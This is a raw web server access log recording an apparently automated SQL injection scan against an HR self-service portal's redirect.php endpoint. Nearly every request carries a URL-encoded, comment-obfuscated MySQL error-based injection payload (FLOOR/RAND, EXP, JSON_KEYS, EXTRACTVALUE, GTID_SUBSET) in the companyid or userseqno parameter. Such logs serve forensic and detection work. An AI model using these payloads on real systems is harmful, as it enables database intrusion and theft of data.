100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4b6a6f71%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c6c7272%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x66507642%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67455336%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x66507642%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67455336%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x45513263%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a317875%29%29x%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x45513263%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a317875%29%29x%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4c6a5173%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x724d6751%29%29x%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4c6a5173%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x724d6751%29%29x%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x49636130%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5143514c%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FAIIR%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4c75584f%2C%28NULL%29%2C0x6943336c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4c75584f%2C%28NULL%29%2C0x6943336c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x79305161%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62703261%29%29x%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x79305161%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62703261%29%29x%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x78434a36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33473144%29%29x%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x78434a36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33473144%29%29x%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x766c4533%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79364d6c%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x766c4533%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79364d6c%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x52683945%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31585170%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x52683945%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31585170%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x774a336e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x714b5033%29%29%2C1%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x774a336e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x714b5033%29%29%2C1%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x43353877%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56417a37%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x35537373%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68593845%29%29%2C1%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x35537373%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68593845%29%29%2C1%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x67534832%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75357648%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x67534832%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75357648%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7a337531%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47593062%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7a337531%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47593062%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6e667664%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c67744f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6e667664%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c67744f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x65303465%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66307339%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x65303465%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66307339%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4b6a6f71%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c6c7272%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x66507642%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67455336%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x5552334d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a364374%29%2C6420%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x5552334d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a364374%29%2C6420%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
